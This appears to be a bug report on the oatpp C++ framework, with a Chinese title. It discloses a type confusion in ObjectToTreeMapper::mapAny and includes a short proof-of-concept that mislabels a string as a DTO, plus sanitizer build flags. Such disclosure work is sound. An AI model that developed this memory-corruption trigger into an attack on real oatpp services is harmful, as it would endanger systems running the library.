在 'ObjectToTreeMapper::mapAny' 中出现类型混淆
作者: 2rr0r4o3创建于 2026年8月24日更新于 2026年8月24日
poc_ObjectToTreeMapper_mapAny.cpp:
class MyDto : public oatpp::DTO {
DTO_INIT(MyDto, DTO)
DTO_FIELD(String, a);
DTO_FIELD(String, b);
};
// A std::string payload, honestly allocated - but the handle is told it is a MyDto.
auto handle = std::make_shared<oatpp::data::type::AnyHandle>(
std::make_shared<std::string>("not-a-dto"),
oatpp::Object<MyDto>::Class::getType());
oatpp::Any any(handle, nullptr);
oatpp::json::ObjectMapper mapper;
auto out = mapper.writeToString(any);
// mapAny (:119,:120) -> map -> mapObject
// -> static_cast<oatpp::BaseObject*>(polymorph.get()) ObjectToTreeMapper.cpp:260
// -> field->get(object) -> BaseObject::Property::get Object.cpp:99Build and run:
clang++-22 -fsanitize=address,undefined,vptr -fsanitize-recover=all \
-fno-omit-frame-pointer -frtti -g -O1 -std=c++17 -I<oatpp>/src \
…内容来源: oatpp/oatpp